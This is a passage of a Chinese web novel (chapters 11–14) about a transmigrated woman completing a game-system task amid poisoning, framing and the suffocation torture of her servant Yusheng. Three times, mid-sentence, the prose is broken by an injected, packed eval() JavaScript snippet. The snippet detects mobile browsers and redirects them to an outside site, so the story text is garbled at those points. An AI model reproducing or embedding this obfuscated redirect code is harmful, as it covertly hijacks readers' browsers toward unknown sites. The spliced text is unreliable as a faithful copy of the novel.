季白垂眸遮去眼中锋芒,语气无情又玩味,似是故意刺探着什么。 【不然呢?他们只是游戏人物而已,连人都不算吧。】 季白听见系统似是轻嗤了一声,随即语气冰冷地说了一句。 【你果然是个演戏的高手,亏他们个个还以为你对他们情深义重。】 她的系统有古怪,但眼下闻人瑾的事情要更为迫切,她也没工夫和它继续掰扯,因而没有搭理它,只当自己没有听见,抬脚进了书房,可她刚越过屏风,就听系统又说话了。 【距离任务结束只剩三天二十三个小时,请宿主抓紧时间。】 【怕什么,总共三个道具,一个道具已经获得,一个道具也知道了下落,如今就剩闻人瑾身上的了。】 季白说到这儿,脑中灵光一闪,该不会是有人想阻止她完成任务离开,故意给闻人瑾下毒吧? 【宿主不要忘了,还有一个任务。】 季白语气如常。 【我已经知道是谁杀了原主。】 【你知道了?!】 系统的声音听起来有点惊诧和不可置信。 也不怪系统惊奇,这几日系统日日看着季白,完全没见她寻找线索,每天只是和三个男主卿卿我我,她怎么就知道了? 季白没再理他,而是看向躺在榻上昏迷不醒的闻人瑾,他的脸庞白得可怕,唇也没有一丝血色。 他静静地躺在那儿,仿佛下一秒就会乘风而去,消逝在人世间。 季白两步走到床边低声唤他。 “闻人瑾?” 然而往日感官灵敏的闻人瑾,这一次却如同死了一般没有给她任何回应。 季白心中发涩,小心翼翼地握住闻人瑾的手,始终不敢相信,他真的会死。 他可是主角啊,主角怎么死? 季白转头看向屋内的大夫们。 “你们不是大夫吗?快想办法救救他啊!” “只要能救活他,闻人府自有重赏!” “少夫人,并非是我等见死不救,实在是学艺不精,有心无力啊,这毒,我们解不了。” 季白无意识地握紧了闻人瑾的手,再次说出口的声音都有几分发抖。 “你们救不了,我再去找能救得大夫来。” “你们再去请,我就不信请不到救得了的大夫!” 下人们得了令,连忙小跑着出去请大夫了。 这时,突有一位大夫站了出来。 “少夫人,我有一法可救大公子,只是此法凶险,对大公子的身体损伤极大,我也没有十成的把握能救活大公子。” “你有几成?”季白急声追问。 “二成。” 二成…… 季白回头看了闻人瑾一眼,眼下闻人瑾已是出的气多,进的气少了。 再拖下去,莫说二成,恐怕一成的生机都没了。 季白起身,对此人欠身行礼,“劳烦大夫出手救我夫君。” “少夫人放心,我自全力以赴,还望少夫人请闲杂人等退下,我好施针解毒。” 季白点了下头,让众人都退下,自己则和几位下人们在外间等候。 她等得心焦,忍不住询问脑海中的系统。 【系统,闻人瑾是游戏主角,他应该不会死吧?】 然而系统并没有回答她,却有一位小厮上前跪倒在季白脚边。 “少夫人,请您一定要为大公子做主啊,大公子是被人毒害的!院里有居心叵测之人想要大公子的性命。”他声泪俱下地跪在地上哭求着。 “你先安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879165|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,狼哭鬼嚎得别扰了大夫救人!” 小厮收了收声,但还是不肯起来。 季白仔细打量了这小厮一番,她认识他。 这小厮是在闻人瑾身边贴身伺候的人,闻人瑾对他颇为信任,是他的心腹。 “你可有线索?” 小厮又重重磕了几个头,道:“少夫人,我有。事发后我专门问了奉茶的素莲,泡茶的秋月还有烧水的阿昌,泡茶的秋月说她泡茶时有人叫她,她出去了一趟,回来时隐隐看见了一人匆匆离去,看背影正是少夫人身边的羽生!” “我知道此事与少夫人无关,定是那羽生贪心不足,丧心病狂要害大公子。” 季白的头轰地一声炸了,此事怎还牵扯到了羽生? 她正想为羽生说话,却突然想起那一日羽生一闪而过的狠辣和那句——我帮夫人杀了他。 难道真是羽生下毒谋害闻人瑾? 可如果真的是他,他又怎会用这么蠢笨的法子,还让人发现了? “少夫人。” 为闻人瑾解毒的大夫出来了,季白起身相迎,在心里默默祈祷着闻人瑾能平安无事。 他若有事,羽生与闻人瑾都活不了,那她的通关道具岂不是也打了水漂? 这一瞬间,季白的脑海中闪过千百种可能和解决办法。 “我夫君如何了?”季白紧张得声音都在发抖。 大夫拱手作揖,面带喜色,“大公子吉人有天相,救下来了。” “只是眼下身体虚弱,我开个滋补的药方给大公子服上月余慢慢养着就可无事了。” “多谢大夫!”季白大喜,连忙吩咐道,“春桃,给赏银。” 季白话音刚落就听里间传来闻人瑾虚弱的呼唤声,“娘子,娘子,你在吗?娘子。” 季白连忙应了一声,抬脚往里间走。 “我在。” 屋子里弥散着浓重的血腥味与淡淡的药味,季白瞅了眼那盆被丫鬟端出去的血水,估摸着大夫可能用了放血之类的疗法。 但闻人瑾的脸色比起刚刚要稍好一点,至少唇上有了血色。 “娘子……”他胡乱伸着手呢喃着,像是迷失在丛林的孩子。 季白上前握住他的手,温声安抚,“我在呢,别担心。” 闻人瑾感受到季白的存在,立即如同一只找到主人的小狗一般,往季白的身上靠,语气低落又后怕,“我差点以为我再也醒不过来,又要失去你了。” 季白垂眸将他的害怕和惊慌都看在眼里,眼眸闪了闪,握着他的手轻抚着安慰,“不会的。” “你的毒刚解,再休息会吧。” “我守着你。” 闻人瑾摇摇头,紧攥着季白的手,似乎是怕她跑了一样。 闻人瑾身边的小厮也跟着进来了,一进来就对着闻人瑾重重磕了一个头,哭道:“天皇娘娘保佑,大公子平安无事。” “大公子,您这次是被人毒害了啊,您虽无事,可那下毒之人狠辣无情,定不能放过他。” 季白的心顿时提了起来,她看了闻人瑾一眼,面对外人,闻人瑾的神色永远是冷淡的,如同月宫寒山,寂冷脱俗,似是一尊超然的神像。 季白收回视线,连忙道:“这些事容后再说!如今夫君刚醒,最需要休息,哪能劳心劳力?你说这些东西来刺激夫君,是何居心?” “还不快退下!” 只要闻人瑾不追究,羽生也能平安无事。 其实她总觉得这次的下毒事件,其中透着古怪。 “等等。”闻人瑾薄唇轻启,“我也想知道是谁要杀我。” 12. 第 12 章 季白微挑了下眉,看了眼地上跪着的小厮。 那小厮又深深磕了个头,道:“大公子,您的茶水一向由秋月他们几人负责,从来没出过差错,他们又是家生子,怎敢做出毒害公子的事?” “公子出事时,我曾查问过他们几人,秋月说她泡茶时曾见羽生鬼鬼祟祟地在偏房出没,定是那羽生心怀怨恨对公子不利,公子只要将人拿来一问便知。” 季白实在没有心思破获这宗迷案,对她而言,这毒是谁所下都不重要,她只想趁机获取通关的道具。 若这毒真是羽生所下,她得想办法先保住羽生的性命。 至少不能让人在她通关之前死了。 若系统得知她的想法,恐怕又会阴阳怪气地说她是个冷漠的女人吧。 闻人瑾闻言看向季白,问:“娘子,羽生是你的人,如今既有人怀疑到羽生头上,不若喊他过来问个清楚。” 季白微笑,“原来夫君也知道羽生是我的人啊,夫君难不成怀疑是我指使羽生下毒谋害你?” 季白话音刚落,地上的小厮就怒冲冲地诘问:“少夫人是打定主意要偏心羽生吗?难道一个贱奴的性命还比不上公子吗?” 听了这话,闻人瑾衣袍下的手微微动了动,但他面上仍是不动声色。 他捂唇轻咳了一声,拧眉喝道:“住嘴,我同夫人说话,何时有你插嘴的余地?” 闻人瑾话落转过头来,那双覆着白绸的眼眸精准地捕捉到季白所在的方向,脸上是不同与刚刚的温柔和煦,“娘子莫要多心,我知道此事定与你无关。” “只是府里出了这样的事,定是要查个清楚明白。” “万幸今日是我中毒,若是改日那贼人对娘子下手,娘子弱柳扶风,身娇肉贵如何承受得起这般折磨?” 闻人瑾这话看似是为她着想,实则是打定主意要抓羽生过来。 “那就喊他过来问问吧。”季白说,“若真是他所为,如此恶仆自当扭送官府。” 闻人瑾勾了勾唇角,露出一抹浅显的笑。 “我虽眼盲心却不瞎,绝不会冤屈了一个好人。” 这话季白听着却总觉得是另有含义。 羽生就在府里,很快就被人扭送了过来。 他一进来目光就率先落在了季白的身上,眼中闪过一抹欣喜,然而在看见季白身旁的闻人瑾后,眼中又闪过一抹不易察觉的厌恶与嫉恨。 “不知大公子,少夫人因何事召唤小人?”羽生行礼问道。 那小厮却上前一脚踹在羽生的腿窝,喝道:“大胆贱奴!竟敢毒害大公子,真是好大的胆子!你还不从实招来,若坦白从宽,也少受些皮肉之苦!” 羽生没个防备,膝盖一软颇为狼狈地重重跪在了地上。 他抬起头一脸无辜地看向季白,额前凌乱的碎发遮住他的半张脸,愈发衬得他楚楚可怜,纯洁无辜。 “什么毒害?”羽生道,“我从未做过,你们找错人了。” 季白大拇指的指甲无意识地摩挲着食指指腹,笑着问了一句:“这小厮叫什么名字?倒是个聪明能干的。” 她对羽生并未有多少真心,可羽生也终归是她的人。 又怎会亲眼看着他受罚,而无动于衷。 她这个人护短得很,她的人只能她欺负。 那小厮俯身道:“小人容与,谈不上什么聪明能干,只不过凡事都秉着一个忠字罢了,可不能学那没了心肝的糟心东西,不知道谁才是他的主人。” “行了。”闻人瑾冷声道,“就你话多。” 容与欠身一笑,而后又挺直了腰杆居高临下地逼问羽生,“说!你今天鬼鬼祟祟的往偏房那儿去,是不是给大公子的茶里下了毒?” “我没有!”羽生争辩道,“我从未做过这样的事。” “哼!”容与冷笑,“看来是不见棺材不掉泪了!” “大公子,少夫人!”容与道,“羽生这贱奴不肯承认,若是他下毒,他房里说不定还留有物证,不如大公子下令让我等去这贱奴的屋子里搜上一搜?” 闻人瑾轻点了下头,立即就有下人奔了出去。 羽生跪坐在地上,委屈得双眼通红,“夫人,我从未谋害过大公子,我是冤枉的。” 他的模样实在可怜,季白有心想救,可在众目睽睽之下,季白也不好说什么。 只是冲他轻轻摇了摇头,说了一句:“你若没做过,大公子也不会冤了你。” 羽生哭得越发可怜了。 “夫人,我是被人冤枉的,定是有人看不惯我,故意栽赃陷害于我。夫人是知道我的,我哪里有下毒害人的胆子呢?” 闻人瑾锦被之下的手蓦地攥紧,手背上浮现出狰狞的青筋,可他的面容依旧冷然,只是说出口的话却添了几分肃杀之气,似是狂风席卷而过的冬日午后,“这里没有什么夫人,只有少夫人!” 夫人和少夫人这五个字,闻人瑾说得格外用力。 季白惊诧地看了他一眼,她从未见过闻人瑾在外人面前失控成这个样子。 虽然对比常人来说,仍是平静如水的模样,可季白却敏锐地察觉出了他话里的怒气。 少夫人和夫人有什么差? 至于气成这样吗。 不知羽生是不是故意的,对于闻人瑾的质问,他好似没听见一般,继续抹着泪和季白哭诉着喊冤,嘴里还夫人夫人地叫个不停。 简直像是故意和闻人瑾作对一样。 季白似乎听见闻人瑾轻嗤了一声,可她转过头去看,他依旧是一幅不动如山的样子,仿佛刚刚说话的人不是他一样。 在羽生哭诉的间隙,刚刚去搜查羽生房间的下人们也回来了。 “大公子,少夫人。”下人手捧一物禀道,“我等在羽生的床上发现了此物。” 还没离开的一位大夫上前接过那包粉末,放在鼻下闻了闻,细长的眼睛登时瞪圆了,惊道:“大公子,少夫人,此毒与大公子所中之毒完全吻合。” 容与厉声道:“羽生!如今人赃并获,你还不认吗?!” 羽生抬起头来,眼睛虽还挂着泪,可神态却毫不弱势,“你说是我的就是我的?要我说定是你们谁携了毒栽赃给我!” 可羽生一扭头又对季白软声道:“夫人,我真的是冤枉的,那东西不是我的。” “夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900404|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不会不信我吧?” 季白避开羽生的视线,垂着眼思索该如何保下羽生这条命。 羽生却并不知道她的所思所想,他只看见季白不看他了。 他的心顿时像是被人戳了一刀,他可以不在意任何人的想法,也不在意他们的侮辱冤屈,他早就习惯了的。 可他不能不在意季白的想法…… 她是他在这世间唯一的念想。 只要是为了她,他做什么都愿意,哪怕是为她去死,做她手里的刀,做奴做狗,他都心甘情愿,可唯独不能接受她不信他了。 一条被主人抛弃的狗迎接他的只有无尽的等待与死亡。 “娘子。”闻人瑾清越的声音再次响起,“既已人赃并获,多说无益扭去见官。” 见官? 季白的心顿时提了起来,这可不行,羽生身上的通关道具她还没到手呢。 如今她的任务时间只剩三天,他要是真被扭去见官,再想见他就麻烦了。 她正要开口帮腔,就听跪在地下的羽生突然低低笑了起来,笑得诡谲,阴暗。 他歪着头看向坐在床上的闻人瑾,他放肆嘲弄的目光从闻人瑾淡然的脸看到挺直的腰背,最终落在他蒙着白绸的眼睛上。 “用这般拙劣的手段赶我离开,你究竟在害怕什么?” “闻人瑾,夫人从来都不爱你,是你逼迫了她!” “她过去爱的不是你,现在爱的是我,无论过去还是现在,闻人瑾,夫人的心中从来都没有你的位置!” “呵,这么着急,你是有多害怕啊?” “也是,如果夫人想起从前的事,你猜她还会不会和你说一句话?” “你不过是仗着夫人失忆,蒙骗了她!” 季白听了这话,惊得险些晕倒。 羽生是疯了吗?他是不要命了吗?! 这么多人都在这儿站着,他就当着主人的面这般勇猛得承认了和她的私情?! 连电视剧都不敢这么演! 季白只想两眼一闭,死了算了,这烂摊子谁愿意收谁收吧。 感情第一次见面时,羽生那句何必怕他,不是玩笑话啊。 你是真不怕啊。 相比于季白的惊诧,闻人瑾显得平静多了。 他静然地摸着食指上的翡翠扳指,唇角还勾出了一抹浅浅的笑。 “那又如何?我是她唯一的夫。” “只要我不死,你们都只不过是娘子消遣的玩意。” “我又怎会和一个玩意计较呢?” 季白有点恍惚,甚至怀疑自己不是穿越的古代,而是女尊。 而眼前的两个男人则是她的正房和妾室,正在为她争风吃醋…… 季白掐了自己一把,又偏头看了看闻人瑾,默默地想,闻人瑾还真有几分大房的气度。 可下一秒,她就瞬间清醒,眼前的男人哪有什么大房气度,明明已经嫉妒得快要发疯了。 闻人瑾侧过头看着她,嘴角还挂着一抹笑,只是怎么看都有点鬼气森森。 “娘子,贱奴羽生妒恨主家,遂下毒害人,如此恶奴,不若打死了事?” 13. 第 13 章 羽生的命,她是一定要保的。 “并未有人亲眼看见羽生给你下了毒,或许下毒的另有其人。”季白顿了顿,语调微微扬了扬,目光直勾勾地瞧着闻人瑾,“又或许真的是被谁栽赃陷害的呢。” 季白话落又给了羽生一个眼神,示意他千万别再说话刺激闻人瑾了。 羽生接触到季白的眼神后,眼中的诡谲与阴暗如潮水般褪去,只留下一双如清泉般纯澈的眼睛看着她,眼底反射的星星点点,是小狗再次被主人认可的欣喜与兴奋。 季白快速收回视线,暗想,眼看任务就快完成了,结果这一个个突然就发起疯了。 闻人瑾不正常,羽生也不安分。 反而是最疯的褚师怀率先搞定了。 季白在很认真的考虑要不要也用石头砸他们一下,让他们好好清醒。 闻人瑾摸了摸手上的翡翠扳指,清越平静的声音让人听不出喜怒。 可偏偏这种诡异的平静最是让人心慌害怕。 “在娘子心中,我的生死无关紧要,甚至还不如一个贱奴是吗?” 他看起来风平浪静,可谁也不知他的心里究竟掩藏着多么大的痛苦。 他是瞎了,是残缺的人,可他亦是闻人府里金尊玉贵,名正言顺的大公子。 除了那双盲了的眼睛,他堪称完美无暇,他看似无欲无求,实则目下无尘,最是冷傲要强。 可这样的皎皎明月,却在爱里卑微到了泥里。 他当真能一直做到心思坦然,毫无怨念吗? 季白故作惊讶,“夫君,你怎么能这么说?” 季白主动靠了上去,握住他略有些冰凉的手,在他耳边低语:“夫君在我心中当然是最重要的人,我只是不想我们冤屈了好人,枉造杀孽。” 她拉着他的手放在她柔软的小腹上,语气娇羞,“我们也该为将来的孩子积点福气不是吗?” 她炙热的手掌包裹着他的手,明明是那样绵软的手却让他无处可逃,缠绕的手指仿佛是涂了迷幻香的蛛丝,紧紧只是一个触碰,就让他的大脑做了一场最美丽的梦。 温暖的温度隔着轻薄的布料源源不断地传递到他的掌心,似是一团永远不会熄灭的火焰,可这团火焰不属于他一个人,温暖的也不是他一个人。 没关系,他可以建造一座冰屋,关着她,囚着她,让她成为他的专属。 季白有点摸不准闻人瑾在想什么,这双被丝绸隔绝的眼睛阻碍了她的窥伺。 闻人瑾薄唇轻启,“娘子为何这般小声?” 他的嘴角扯出一抹类似于嘲讽的笑,只是不知嘲的是自己,还是旁人。 “是怕某人听见,惹他伤怀吗?” 季白的脸色蓦地变了,握着闻人瑾的手也放开了。 她算不上是一个好脾气的人。 季白正要收回手,闻人瑾却右手一翻牢牢抓住了她的手,力道强硬地拉着她的手放在自己腿上,季白用力抽了抽,没有抽出来,也就算了。 可她脸上的神色早已不是刚刚的笑意吟吟,眼底的冰冷就连跪在几步开外的容与都感受到了。 “我说了,我只是不想闹出人命。” 闻人瑾看不见,但并不意味着他无法感知她的情绪变化,相反,他比任何人都要敏锐。 眼睛有时候会骗人,可他用心嗅闻到的气息却不会骗他。 他不会和旁人一样被她脸上的笑容,眼中的爱意所蒙骗,他可以清楚的感受到她的虚情假意,她的怀疑试探,她的虚与委蛇。 可这样的敏锐反而更伤他,像是一个沉醉于美梦,安睡在胞衣的人一次又一次被人用尖刀划破他脆弱的外壳,强行将他拽醒,让他筋疲力尽,让他鲜血淋漓。 他明明也可以如他们一样的迟钝,如他们一样沉醉在她的谎言里,做一场走向灭亡的美梦。 可偏偏要让他清醒得看着自己心上的肉被人一片片的割下来。 “我的命……就不是命吗?” 他的声音很轻很轻,可季白还是清楚的听见了。 她动了动唇,想说,可你没有死。 但又觉得这话太过伤人,咽了回去。 “放了他吧。”季白说,“我知道你讨厌他,我日后打发他出去不再身边留用就是,你若还是不满,赶他出府就是,又何必一定要他的命。” 闻人瑾握着季白的手紧了紧,“如果我说不呢?” 季白侧头看着他如雕塑般完美的下颌线,粉白的薄唇紧抿着,他的模样神态像极了世外的仙,淡漠的神,可又偏偏因为眼睛的残缺多了一分破碎感,像是坠落凡尘也仍然挺直了脊背,不折傲骨的神仙,可越是这样越是想要把他拉进深渊,给圣洁的白染上罪恶的黑。 在季白的眼中他实在生得好看,生得……合她的口味,所以她愿意包容他无伤大雅的小心机,愿意纵容他的亲近,可这并不代表着她愿意为他停下脚步,愿意为他放弃任务。 谁也不能阻碍她完成任务,除非是她自己愿意。 “我有话想和夫君单独聊聊。” 闻人瑾静默片刻,抬手做了个手势,屋里的仆从顿时鱼贯而出,容与压着羽生往外走,羽生低垂着头,眼中是一闪而过的阴狠。 房间重新归于寂静,两人的呼吸声都变得清晰可闻,闻人瑾微微抬了抬头,望向不知名的虚空之处,问:“你想和我说什么?” 他轻笑了一声,偏过头看向季白,“为他求情吗?” 季白轻柔地抚上闻人瑾的面庞,翻身跨坐在他身上,轻声说:“为何要替他求情,唯有有罪之人需要请求原谅,可你我都知道他是无辜的。” 闻人瑾呼吸一滞,随后脸上的神色变得微妙,“无辜。呵,他无辜?” 季白没有回答他的话,而是抬手揭开了他蒙在眼睛上的白绸。 他只觉眼睛一凉,伸手就要去抓他用惯了的眼带,可抓到的只有一闪而过的轻纱,她似乎是俯下了身子靠近他,鼻尖飘过一抹幽幽的暗香,几缕青丝扫过他的面庞,带来些许的痒意。 他的呼吸蓦地一沉,小腹下的肌肉也紧绷了起来,然而季白并没有注意到这些细微的变化。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907232|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的注意力都被眼前这双眼睛所吸引了。 这是一双何其美丽又圣洁的眼睛,银白色的瞳孔如同晶莹的雪花,又似剔透的琉璃,让人挪不开眼。 只是……美则美矣,却像是太阳下的钻石,散发出夺目的光,却没有半分的灵动,仿佛是被恶魔夺走了灵魂,是一个漂亮的死物。 季白垂下眼帘,回神想起自己的正事。 “闻人瑾。”季白的手慢慢下滑移到他的脖颈,“毒是你自己下的吧。” “你就这么恨他,不惜毁了自己的身子也要除了他?” 其实最让季白奇怪的是,他明明有更好的办法,却偏偏要用这样拙劣的法子。 他的目的与其说是要杀他,不如说是更想和羽生在她的心里争个输赢。 她看不懂他。 闻人瑾的眼睛轻眨了眨,浓长的眼睫似是蝴蝶振翅。 “我听不懂你在说什么。”他说,“我一个瞎子如何给自己下毒。” “你是瞎子。”季白说,“可你身边的仆人却甚为忠心。” “闻人瑾,我不想和你闹得太难看。” 闻人瑾低低笑了一声,他用手指勾起一缕她垂落在他身上的发,像是握住了风筝的线,可这只风筝,注定是要远走的。 “不想和我闹得太难看。”他呢喃着,勾着青丝的手指放到鼻下病态地嗅闻着属于季白的气味,“是因为我压根就不值得吧,我这个人不值得你动一丝一毫的情绪。” 他放开季白的青丝,隔着薄衫摸上她的心脏,“生气这样激昂的情绪,你又怎会给我呢。” “你给我的从来都只有无穷无尽的漠视。” 季白觉得闻人瑾有点不对劲,也觉得他的话颠三倒四。 如果原主真的从头到尾对闻人瑾都只是漠视的态度,他身上的伤从何而来,春桃他们又为何会说原主和他常常吵架。 季白的眼神闪了闪,按住闻人瑾的手,倾身在他耳边落下一吻,低声说:“我说过了,我现在只在乎你,你不必再记恨他,也不必非要取他的性命。” 闻人瑾笑了,下一瞬他的声音骤然变得尖利,“我就是恨他。” “我不该恨他吗?” “我才是你明媒正礼的夫君!可你宁愿日日与卑贱的小厮厮混在一起,也不肯看我一眼,你告诉我,我不该恨吗?” “我也是人,我也会痛。” 闻人瑾那双漂亮无神的眼睛浸满了泪,可却倔强地不肯落下。 “谁家夫君做成我这样?我也是官宦人家的公子啊,你为何要对我这样残忍?就因为……就因为我看不见吗?” 季白曾经幻想过把闻人瑾欺负哭的模样,可当他真的躺在她的身下哭泣发疯的时候,她的心并没有她想象中的那样畅快兴奋,反而有种说不出的酸涩感与愧疚。 闻人瑾闭上了眼,眼中的泪顺着脸颊没入浓密的鬓角,等他再睁开眼,他又恢复成了平静淡然的闻人瑾。 “你想让我放他一条命,好啊,我答应你。” “但你也要答应我一个条件。” 14. 第 14 章 两人谈妥后,闻人瑾拍手唤下人们进来,羽生再一次被他们绳捆索绑地押了进来。 所有人都已认定他就是谋害大公子的凶手。 闻人瑾端坐塌上,羽睫微垂,神色淡漠,“羽生,你可认罪?” 季白看着羽生,用眼神示意羽生暂时服个软,可不知是羽生看不懂她的意思,还是不愿和闻人瑾服软。 他顶着一张秀美柔软,单纯无辜的面容梗着脖子不肯认错。 “欲加之罪,何患无辞?”羽生说,“我没做过的事,我不认!” 闻人瑾闻言也不再同他说话,只是默默低头喝了口茶。 容与立即就明白了闻人瑾的意思,上前一脚将羽生踹翻在地,喝道:“你这恶奴,如今人证物证惧在,你还不肯认罪?看来非得让你吃点苦头,才肯说实话!” 闻人瑾放下茶盏,语气淡然得仿佛在谈论一会吃什么,“莫要弄得血淋淋的,污了我的地。” “大公子放心,小的绝对处理得干干净净。” 容与话落就从另一位仆人手中接过一张桑皮纸盖在了羽生的脸上,季白握着杯盏的手紧了紧,她虽然从未见过这样的刑法,但也能隐约猜出应该和窒息相关。 闻人瑾注意到季白细微的异动,转过头压低了声音问:“舍不得?” “我答应你的事我会做到。”季白说,“还望夫君不要忘了对我的承诺。” “自然。”闻人瑾轻笑一声,押了口茶不再说话。 闻人瑾的感官如此敏锐,恐怕在她当日初见羽生时他就有所察觉了,只是他一直隐忍不说,直到等到一个可以一击毙命的时机。 容与给盖在羽生脸上的桑皮纸喷了一口水,纸张入水则软,紧贴在羽生的脸上让他难以呼吸,季白注意到他的手掌紧紧得攥在一起,似乎是在抵抗着难以承受的痛苦。 “说不说?” 回答他的只有一片沉默。 “好!”容与恨恨道,“是个汉子,我倒要看看你能撑到几时!” 容与一连在羽生的脸上加了五张纸,可他始终沉默不发,用无声的抵抗表达自己的态度,就连挣扎都未曾有过。 只有他明显变得苍白的肤色与手背上的青筋,昭示着他此刻的痛苦。 季白一直不安地观察着羽生的情况,此时此刻,她有点分不清,自己究竟是因任务而担心,还是只因这个人…… 羽生紧紧攥住的手蓦地一松,似是用尽了所有的力气。 季白再也坐不住了,转过头说:“你答应我放他一条生路。” 闻人瑾没有说话,下一瞬容与就上前揭开了羽生脸上的桑皮纸,另有仆人连忙上前急救羽生,他们的动作轻车熟路,井然有序,显然是做惯了的。 在那些仆从的紧急救助下,瘫倒在地一动不动宛若死去的羽生猛地坐起,他大口大口地喘着气不断咳嗽着。 容与上前逼问:“还不招吗?” 羽生嘴唇青紫,眼睛里布满了红血丝,身体因为缺氧而不断地打着颤,原本皎白的肤色如今却苍白得像是死人的尸体。 “不是我做的事,我不认。” 明明看起来是在风雨中朝不保夕的小白花,纤弱到被人随手一折就会断了性命,可眼下却有了一种如同青松古竹般的刚直。 明明是阿谀奉承的卑贱仆从,何必要学那些宁死不屈的坚贞之士? 只要服个软,闻人瑾就会放过他。 “好啊。”容与怒极,“我倒要看看你的肠胃是不是同你的骨头一样硬!” 容与话落,立即就有人捧上一碗冰水,水里浸着几个不明物质的黑色小球,容与用钳子夹起一个就要往羽生的嘴里灌。 季白不认识这玩意,但她的直觉告诉她,羽生一旦吃下去哪怕不死也会脱一层皮。 她顾不得许多,立即起身喝道,“住手!” 容与停下动作,看了季白一眼,但他的目光又随后落在闻人瑾的身上。 他不知得到了闻人瑾的什么暗示,退后一步,让出了位置。 季白没空管这对主仆之间的暗流涌动,抬脚就朝羽生的方向走了过去。 闻人瑾蓦地攥紧了手,轻幽的声音从她背后幽幽响起,“不要忘了你答应我的事。” 季白没有理他,快步走到羽生面前,他的脸湿漉漉的,分不清是汗水还是刚刚泼在他脸上的清水。 他坚韧不服,如蛇般阴冷的眼神在看见季白过来时,一刹那就变得柔软,仿佛是看见了最亲近的人。 “夫人。”羽生仰着头说,“我没有下毒谋害大公子,不是我做的。” 他仰起头看她的样子,让季白想起第一次见他时的样子,当时她以为他只是原主养的一位俊美小厮。 都做仆从了,何必还要端着这份早已被折断过无数次的傲骨,认错不是他们最擅长的事吗? “羽生。” “夫人,我在。” 明明刚刚遭遇了濒死的折磨,可他看她的眼神还是亮晶晶的,充满了生机。 仿佛无论她做什么,他都会无所畏惧地陪着她,无论她做出任何决定,他都会无条件的遵从。 “做错了事就该认。”季白一字一顿,“大公子仁慈会饶你一命。” 羽生一愣,笑容僵在脸上,清透的眼眸如同一颗触之即碎的水晶,在她温柔的注视下碎裂成渣。 让无数人害怕,恐惧,死去的刑罚没有摧毁他的心智,可季白短短的一句话,就轻而易举的击碎他所有的防御,傲骨与坚持。 他的声音都在发颤,“夫人不信我?” 季白没有说话,他倏地笑了。 “夫人想要我认罪,我认罪就是。” 他抬头看向上首的闻人瑾,声音干脆利落,没有一丝一毫的不情愿,好似季白让他去死,他都心甘情愿地去执行。 “毒是我下的,是我想要杀了大公子,与夫人无关。” 季白望着羽生的侧颜,分明是跪着的卑贱者,认错的求饶者,可他的脸上找不到半分低微与卑下。 季白突然意识到羽生只有在面对她时会展现出下位者的讨好与卑微,会尽情展示他的柔弱可怜,可对待外人时,他似乎并不是这样…… 她开始怀疑当日在花房里看见羽生被欺负,只是他做的一场戏。 她知道他的身份不止是小厮这么简单,但到底是什么,她不想去探寻了。 她近乎残忍地想,是什么都好,与她有什么关系呢? 她马上就要离开这个鬼地方了。 闻人瑾的嘴角微不可闻地向上翘了翘,随即清了清嗓子,说:“你犯下如此大罪,本不该留你性命,但娘子腹中已有了小公子,为给小公子祈福,且留你一条性命,罚你禁闭三日。三日后,闻人府留你不得,你自寻生路去吧。” 闻人瑾话落,容与取出一份认罪书让羽生签下。 羽生被他们抓着神色机械,顺从地在认罪书上印下了他的指印,他仿佛是在这一瞬间被抽去了灵魂。 他呆呆地望着季白,不知是想趁这最后的时间再多看看他的爱人,还是在想她肚子里的孩子。 季白没有看羽生,而是不满地看了一眼闻人瑾。 在他们刚刚的谈话中并没有提及这一点,不知他突然抽什么疯,编出这么一个瞎话刺激羽生。 此事事了,仆从们带着羽生下去了,偌大的房间瞬时空了。 闻人瑾微微侧了侧头似乎是在寻找季白的身影,季白走上前在闻人瑾身边坐下,问:“我何时有了身孕,我怎么不知?” “让他死心罢了。”闻人瑾抬手抚上季白的脸颊,手指轻柔地摩挲着她的眼睫,弄得她痒痒的,“你心疼了?” 季白扬起一抹笑容,“怎会?我刚刚答应过你,我会和他断了。何况等到三日后,羽生就永远的离开闻人府了,你担心什么?” “你折腾了一天,也该累了。”季白反手握住闻人瑾的手,“睡一会吧,我陪你。” 季白在闻人瑾睡着后就悄悄出了屋,准备去柴房看看羽生。 羽生刚刚在厅上受了委屈,她得想办法好好哄哄,要来他身上的通关道具。 她刚穿过□□,就听有几位丫鬟在闲聊。 “你们知道吗?容与死了。” 季白脚步一顿,放缓了呼吸去听。 容与?! 闻人瑾的心腹容与?他怎么突然死了,明明半个时辰前,他还好端端的。 “天呐,他怎么死了?他可是大公子的心腹啊,大公子可知晓了?” 